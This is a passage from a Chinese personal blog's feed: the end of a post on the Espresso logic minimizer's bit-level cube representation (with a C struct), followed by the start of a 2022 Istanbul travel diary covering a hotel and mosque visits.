&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th style=&quot;text-align: left&quot;&gt;表达式&lt;&#x2F;th&gt;&lt;th&gt;无相反变量&lt;&#x2F;th&gt;&lt;th&gt;有相反变量&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;x&lt;&#x2F;td&gt;&lt;td&gt;00&lt;&#x2F;td&gt;&lt;td&gt;01&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;x &amp;lt;&amp;lt; 1&lt;&#x2F;td&gt;&lt;td&gt;00&lt;&#x2F;td&gt;&lt;td&gt;10&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;x | (x &amp;lt;&amp;lt; 1)&lt;&#x2F;td&gt;&lt;td&gt;00&lt;&#x2F;td&gt;&lt;td&gt;11&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;在&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;r&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;里为那些相反的变量或上&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;11，就得到了&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;consensus&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的结果。这一套位运算行云流水，我不知道作者是怎么想出来的。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;cube_struct&quot;&gt;cube_struct&lt;&#x2F;h2&gt;
&lt;p&gt;如前所述，Espresso&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;将两比特的布尔变量和不定长的多值变量按位存储在连续的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;unsigned&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;数组里，那我们怎么知道第&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;i&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;个变量到底占多长？&lt;&#x2F;p&gt;
&lt;p&gt;Espresso&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;使用如下结构体来记录如何翻译&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;unsigned&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;数组，它是一个全局变量：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #393A34; background-color: #FFFFFF;&quot;&gt;&lt;code data-lang=&quot;c&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;struct&lt;&#x2F;span&gt;&lt;span&gt; cube_struct &lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;{&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;    int&lt;&#x2F;span&gt;&lt;span&gt; num_vars&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; num_binary_vars&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; num_mv_vars&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;    int&lt;&#x2F;span&gt;&lt;span&gt; size&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;    int *&lt;&#x2F;span&gt;&lt;span&gt;first_part&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; *&lt;&#x2F;span&gt;&lt;span&gt;last_part&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; *&lt;&#x2F;span&gt;&lt;span&gt;part_size&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; *&lt;&#x2F;span&gt;&lt;span&gt;first_word&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; *&lt;&#x2F;span&gt;&lt;span&gt;last_word&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;    unsigned *&lt;&#x2F;span&gt;&lt;span&gt;binary_mask&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; *&lt;&#x2F;span&gt;&lt;span&gt;mv_mask&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; **&lt;&#x2F;span&gt;&lt;span&gt;var_mask&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #A0ADA0;&quot;&gt;    &#x2F;&#x2F; 省略&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;};&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;其中&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;num_vars&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;为变量数。带星号的都是长度为&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;num_vars&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的数组。size&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;是这些变量一共需要多少比特来表示，first_part[i]、last_part[i]&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;表示&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;katex-formula&quot;
data-display=&quot;false&quot;&gt;x_i&lt;&#x2F;span&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;在哪几位。&lt;&#x2F;p&gt;
&lt;p&gt;计算机并不擅长按比特为最小单位处理信息，它擅长的是以字为最小单位（每种架构字长不一样，Espresso&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;可以被配置成一个字&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;16&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;比特或&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;32&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;比特&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;。如果你真的要按位处理，最好是以字为单位，对其中的每一位做统一处理。cube_struct&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;中的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;first_word[i]、last_word[i]&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;用来选择哪个字。var_mask[i]&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;用来提取&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;katex-formula&quot;
data-display=&quot;false&quot;&gt;x_i&lt;&#x2F;span&gt;，以便单独处理一个变量。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;结尾&quot;&gt;结尾&lt;&#x2F;h2&gt;
&lt;p&gt;把所有变量都以比特的形式挤在一起存储，是好是坏？挤在一起后，Espresso&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;可以用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;C&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;语言的位运算对一串变量统一操作，生成汇编后可能只要一条指令就可以处理所有变量——这肯定是好事。但是，要对&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;cube&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;做有选择的操作时，就要用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;mask&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;进行辅助，有些麻烦。在上世纪，内存比现在金贵，用两位表示一个布尔变量肯定比两个&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;int&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;好，可现在仍然更好么？我不知道。&lt;&#x2F;p&gt;
&lt;p&gt;另一种表示&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;cube&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的方法是&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;binary
decision
diagram（BDD&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;。有一些最小化程序使用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;BDD，不过我并不了解它们。&lt;&#x2F;p&gt;
&lt;p&gt;下一篇准备介绍一下&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Espresso&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的分治策略：还记得&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;1981&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;年的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Espresso-I&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;是第一个使用&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;espresso-cube&#x2F;#%E6%88%91%E8%AF%B4%E7%9A%84%E6%98%AF%E5%93%AA%E4%B8%AAEspresso&quot;&gt;什么&lt;&#x2F;a&gt;进行最小化的实现么？&lt;&#x2F;p&gt;

      
&lt;div lesspub&gt;
    &lt;br&gt;
    &lt;p&gt;
        &lt;img src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&#x2F;assets&#x2F;ablobcatdundundun.gif&quot;
            style=&quot;width:1.2em;transform:translateY(.2em)&quot;
	    loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;复制以下链接，并粘贴到你的&lt;span
            class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Mastodon、Misskey或&lt;span
            class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;GoToSocial&lt;span
            class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;等应用的搜索栏中，即可搜到对应本文的嘟文。对嘟文进行的点赞、转发、评论，都会出现在本文底部。快去试试吧！
    &lt;&#x2F;p&gt;
    
    &lt;p&gt;
        链接：https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;note&amp;#x2F;espresso-cube
        &lt;button onclick=&quot;navigator.clipboard.writeText(&#x27;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;note&amp;#x2F;espresso-cube&#x27;);document.getElementById(&#x27;url-btn&#x27;).innerText=&#x27;复制成功&#x27;&quot;
            id=&#x27;url-btn&#x27;&gt;复制地址&lt;&#x2F;button&gt;
    &lt;&#x2F;p&gt;

    





    





    




&lt;&#x2F;div&gt;

    </content>
  </entry>
  <entry xml:lang="zh-hans">
    <title>2022土耳其行：伊斯坦布尔</title>
    <published>2022-06-30T20:43:58+01:00</published>
    <updated>2022-06-30T20:43:58+01:00</updated>
    <author>
      <name>马鲛鱼</name>
    </author>
    <link href="https://emptystack.top/turkey-2022-istanbul/" type="text/html" />
    <id>https://emptystack.top/turkey-2022-istanbul/</id>
    <content type="html">
      &lt;p&gt;6&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;月&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;16&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;号我告别&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;turkey-2022-antalya&#x2F;&quot;&gt;安塔利亚&lt;&#x2F;a&gt;，飞到了伊斯坦布尔。&lt;&#x2F;p&gt;
&lt;iframe allow=&quot;autoplay *; encrypted-media *; fullscreen *; clipboard-write&quot; frameborder=&quot;0&quot; height=&quot;175&quot; style=&quot;width:100%;overflow:hidden;background:transparent;&quot; sandbox=&quot;allow-forms allow-popups allow-same-origin allow-scripts allow-storage-access-by-user-activation allow-top-navigation-by-user-activation&quot; src=&quot;https:&#x2F;&#x2F;embed.music.apple.com&#x2F;us&#x2F;album&#x2F;istanbul-not-constantinople&#x2F;298111036?i=298111047&quot;&gt;
&lt;&#x2F;iframe&gt;
&lt;p&gt;
&lt;h2&gt;目录&lt;&#x2F;h2&gt;
&lt;ul&gt;
    
    &lt;li&gt;
	
        &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;turkey-2022-istanbul&#x2F;#2022-06-16&quot;&gt;2022-06-16&lt;&#x2F;a&gt;
        
        &lt;ul&gt;
            
            &lt;li&gt;
                &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;turkey-2022-istanbul&#x2F;#Mr Cas_Hotels&quot;&gt;Mr Cas Hotels&lt;&#x2F;a&gt;
            &lt;&#x2F;li&gt;
            
        &lt;&#x2F;ul&gt;
        
    &lt;&#x2F;li&gt;
    
    &lt;li&gt;
	
        &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;turkey-2022-istanbul&#x2F;#2022-06-17&quot;&gt;2022-06-17&lt;&#x2F;a&gt;
        
        &lt;ul&gt;
            
            &lt;li&gt;
                &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;turkey-2022-istanbul&#x2F;#苏丹艾哈迈德清真寺&quot;&gt;苏丹艾哈迈德清真寺&lt;&#x2F;a&gt;
            &lt;&#x2F;li&gt;
            
            &lt;li&gt;
                &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;turkey-2022-istanbul&#x2F;#圣索菲亚大清真寺&quot;&gt;圣索菲亚大清真寺&lt;&#x2F;a&gt;
            &lt;&#x2F;li&gt;
            
        &lt;&#x2F;ul&gt;
        
    &lt;&#x2F;li&gt;
    
    &lt;li&gt;
	
        &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;turkey-2022-istanbul&#x2F;#2022-06-18&quot;&gt;2022-06-18&lt;&#x2F;a&gt;
        
        &lt;ul&gt;
            
            &lt;li&gt;
                &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;turkey-2022-istanbul&#x2F;#Balat、Fener&quot;&gt;Balat、Fener&lt;&#x2F;a&gt;
            &lt;&#x2F;li&gt;
            
            &lt;li&gt;
                &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;turkey-2022-istanbul&#x2F;#“大炮之门”与全景1453博物馆&quot;&gt;“大炮之门”与全景1453博物馆&lt;&#x2F;a&gt;
            &lt;&#x2F;li&gt;
            
        &lt;&#x2F;ul&gt;
        
    &lt;&#x2F;li&gt;
    
    &lt;li&gt;
	
        &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;turkey-2022-istanbul&#x2F;#2022-06-19&quot;&gt;2022-06-19&lt;&#x2F;a&gt;
        
        &lt;ul&gt;
            
            &lt;li&gt;
                &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;turkey-2022-istanbul&#x2F;#伊斯坦布尔军事博物馆&quot;&gt;伊斯坦布尔军事博物馆&lt;&#x2F;a&gt;
            &lt;&#x2F;li&gt;
            
            &lt;li&gt;
                &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;turkey-2022-istanbul&#x2F;#Dolmabahçe&quot;&gt;Dolmabahçe&lt;&#x2F;a&gt;
            &lt;&#x2F;li&gt;
            
            &lt;li&gt;
                &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;turkey-2022-istanbul&#x2F;#登加拉塔之前&quot;&gt;登加拉塔之前&lt;&#x2F;a&gt;
            &lt;&#x2F;li&gt;
            
            &lt;li&gt;
                &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;turkey-2022-istanbul&#x2F;#加拉塔&quot;&gt;加拉塔&lt;&#x2F;a&gt;
            &lt;&#x2F;li&gt;
            
        &lt;&#x2F;ul&gt;
        
    &lt;&#x2F;li&gt;
    
    &lt;li&gt;
	
        &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;turkey-2022-istanbul&#x2F;#2022-06-20&quot;&gt;2022-06-20&lt;&#x2F;a&gt;
        
        &lt;ul&gt;
            
            &lt;li&gt;
                &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;turkey-2022-istanbul&#x2F;#神圣和平教堂&quot;&gt;神圣和平教堂&lt;&#x2F;a&gt;
            &lt;&#x2F;li&gt;
            
            &lt;li&gt;
                &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;turkey-2022-istanbul&#x2F;#托普卡帕宫&quot;&gt;托普卡帕宫&lt;&#x2F;a&gt;
            &lt;&#x2F;li&gt;
            
            &lt;li&gt;
                &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;turkey-2022-istanbul&#x2F;#伊斯坦布尔马赛克博物馆&quot;&gt;伊斯坦布尔马赛克博物馆&lt;&#x2F;a&gt;
            &lt;&#x2F;li&gt;
            
            &lt;li&gt;
                &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;turkey-2022-istanbul&#x2F;#土耳其和伊斯兰艺术馆&quot;&gt;土耳其和伊斯兰艺术馆&lt;&#x2F;a&gt;
            &lt;&#x2F;li&gt;
            
            &lt;li&gt;
                &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;turkey-2022-istanbul&#x2F;#Three_partners_cafe_&amp;_restaurant&quot;&gt;Three partners cafe &amp; restaurant&lt;&#x2F;a&gt;
            &lt;&#x2F;li&gt;
            
            &lt;li&gt;
                &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;turkey-2022-istanbul&#x2F;#君士坦丁柱和奴鲁奥斯玛尼耶清真寺&quot;&gt;君士坦丁柱和奴鲁奥斯玛尼耶清真寺&lt;&#x2F;a&gt;
            &lt;&#x2F;li&gt;
            
            &lt;li&gt;
                &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;turkey-2022-istanbul&#x2F;#苏莱曼尼耶清真寺&quot;&gt;苏莱曼尼耶清真寺&lt;&#x2F;a&gt;
            &lt;&#x2F;li&gt;
            
        &lt;&#x2F;ul&gt;
        
    &lt;&#x2F;li&gt;
    
    &lt;li&gt;
	
        &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;turkey-2022-istanbul&#x2F;#One_more_thing&quot;&gt;One more thing&lt;&#x2F;a&gt;
        
    &lt;&#x2F;li&gt;
    
&lt;&#x2F;ul&gt;
&lt;&#x2F;p&gt;
&lt;h2 id=&quot;2022-06-16&quot;&gt;2022-06-16&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;Mr Cas_Hotels&quot;&gt;Mr Cas Hotels&lt;&#x2F;h3&gt;
&lt;p&gt;下飞机后我来到了这趟旅行最贵也是最差的酒店——Mr Cas
Hotels。最忍不了的三点是：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;临近夜店，晚上很吵；&lt;&#x2F;li&gt;
&lt;li&gt;没有自然光，而且灯光昏暗；&lt;&#x2F;li&gt;
&lt;li&gt;没有通向外界的窗户。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;第一天睡不着，和前台聊了会。前台说他们尝试过给政府写信投诉夜店，但没有回应。因为开夜店的是和政府勾结的黑帮（不过这条街仍然安全，只要别去夜店，或者带够钱去夜店就行&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;。他也讨厌埃尔多安的政府，一来是经济原因，二来是太右了。他认为埃尔多安会在明年大选后下台。前台小哥信教，他认为右派那帮人是假信徒——那帮人做了很多违背教义的事：比如打扰他人、喝酒。有趣的是，聊到最后时他表示自己也要喝一点酒——为了睡眠。&lt;&#x2F;p&gt;
&lt;p&gt;这酒店当然也有优点：地理位置很好。İstiklal&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;大街很繁华，仿佛王府井。酒店餐厅可以看到三座清真寺：&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;turkey-2022-istanbul&#x2F;#%E5%9C%A3%E7%B4%A2%E8%8F%B2%E4%BA%9A%E5%A4%A7%E6%B8%85%E7%9C%9F%E5%AF%BA&quot;&gt;圣索菲亚&lt;&#x2F;a&gt;、&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;turkey-2022-istanbul&#x2F;#%E8%8B%8F%E4%B8%B9%E8%89%BE%E5%93%88%E8%BF%88%E5%BE%B7%E6%B8%85%E7%9C%9F%E5%AF%BA&quot;&gt;苏丹艾哈迈德&lt;&#x2F;a&gt;和&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;turkey-2022-istanbul&#x2F;#%E5%90%9B%E5%A3%AB%E5%9D%A6%E4%B8%81%E6%9F%B1%E5%92%8C%E5%A5%B4%E9%B2%81%E5%A5%A5%E6%96%AF%E7%8E%9B%E5%B0%BC%E8%80%B6%E6%B8%85%E7%9C%9F%E5%AF%BA&quot;&gt;奴鲁奥斯玛尼耶&lt;&#x2F;a&gt;。在中世纪，这里叫&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Pera，是热那亚人的殖民地（英格兰国旗就是租用的热那亚国旗&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;。现在很多店铺、酒店仍然冠以&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Pera&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;之名。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;2022-06-17&quot;&gt;2022-06-17&lt;&#x2F;h2&gt;
&lt;p&gt;来到伊斯坦布尔的第一个白天，当然要去圣索菲亚啦！我们五个谁也没查公共交通的事，所以耽误了一上午。到清真寺时穆斯林们正在礼拜，又等了好久。&lt;&#x2F;p&gt;
&lt;p&gt;在参观两个清真寺前，我先去车站旁的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;span lang=&quot;tr&quot;&gt;Binbirdirek
Sarnıcı&lt;&#x2F;span&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;逛了一圈。我以为那里是大家说的“地下水宫殿&lt;span class=&quot;halt&quot;&gt;”&lt;&#x2F;span&gt;，结果不是，大家说的是不远处正在维修的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;span lang=&quot;tr&quot;&gt;Yerebatan
Sarnıcı&lt;&#x2F;span&gt;。前者相比后者少了标志性的&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;twitter.com&#x2F;AntiokhosE&#x2F;status&#x2F;1578653834729381888&quot;&gt;倒扣美杜莎头&lt;&#x2F;a&gt;。如果热得不行想要乘凉，可以一去，否则没必要。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;苏丹艾哈迈德清真寺&quot;&gt;苏丹艾哈迈德清真寺&lt;&#x2F;h3&gt;
&lt;p&gt;蓝色清真寺的礼拜结束时间早，所以我们先参观了它。很失望，因为它在装修，内部只有一个小穹顶可以看——还有半空中的钢架挡你镜头。外部也只有个顶可以看，因为下面被脚手架围住了。&lt;&#x2F;p&gt;








&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20220617_143410.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220617_143410.f19dbd49e26d2f70.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220617_143410.ff08ebf941c7badc.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220617_143410.1d7d28afe0ca2f18.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220617_143410.ff08ebf941c7badc.webp&quot;
	alt=&quot;蓝色清真寺与灰色脚手架&quot;
	
	
	height=&quot;3000&quot;
	width=&quot;4000&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;h3 id=&quot;圣索菲亚大清真寺&quot;&gt;圣索菲亚大清真寺&lt;&#x2F;h3&gt;
&lt;p&gt;如果早两年来，圣索菲亚还是博物馆。查士丁尼建立了圣索菲亚大教堂，法提赫（Fatih，土耳其语征服的意思）攻破君士坦丁堡之后把教堂改成了清真寺。凯末尔建国后把清真寺改成了博物馆，埃苏丹又把它改了回去。对于游客来说，改回去是弊大于利的，因为圣索菲亚的整个二楼、部分一楼都不让游客进入了。不管有多少历史，如今的清真寺对我来说也只是一张巨大又有异味的绿色地毯。&lt;&#x2F;p&gt;








&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20220617_132806.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220617_132806.47abdb63b2ad3f98.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220617_132806.b0737a15930dab2c.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220617_132806.0219cbf8d973bf12.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220617_132806.b0737a15930dab2c.webp&quot;
	alt=&quot;圣索菲亚清真寺外礼拜的人&quot;
	
	
	height=&quot;3000&quot;
	width=&quot;4000&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;p&gt;左图被窗帘遮住的是圣母玛利亚怀抱耶稣，巨大的盘子是先知默罕默德。&lt;&#x2F;p&gt;
&lt;p&gt;右图中左边是查士丁尼，右边是君士坦丁，他们把圣索菲亚大教堂和君士坦丁堡的模型呈给玛丽亚看。在&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;2020&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;年的游览视频里，&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;youtu.be&#x2F;mU_RizrWnrU?t=132&quot;&gt;这块马赛克也被遮住了&lt;&#x2F;a&gt;。今年土耳其特意在反方向安了一面镜子提醒游客注意它。&lt;&#x2F;p&gt;
&lt;div class=&quot;columns c9-16&quot;&gt;








&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20220617_154313.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220617_154313.09b7af4710835679.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220617_154313.6b2a4829c3b3f75c.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220617_154313.b26b651dc08c1ca2.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220617_154313.6b2a4829c3b3f75c.webp&quot;
	alt=&quot;玛丽亚和默罕默德合影&quot;
	
	
	height=&quot;4000&quot;
	width=&quot;3000&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;










&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20220617_154800_1.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
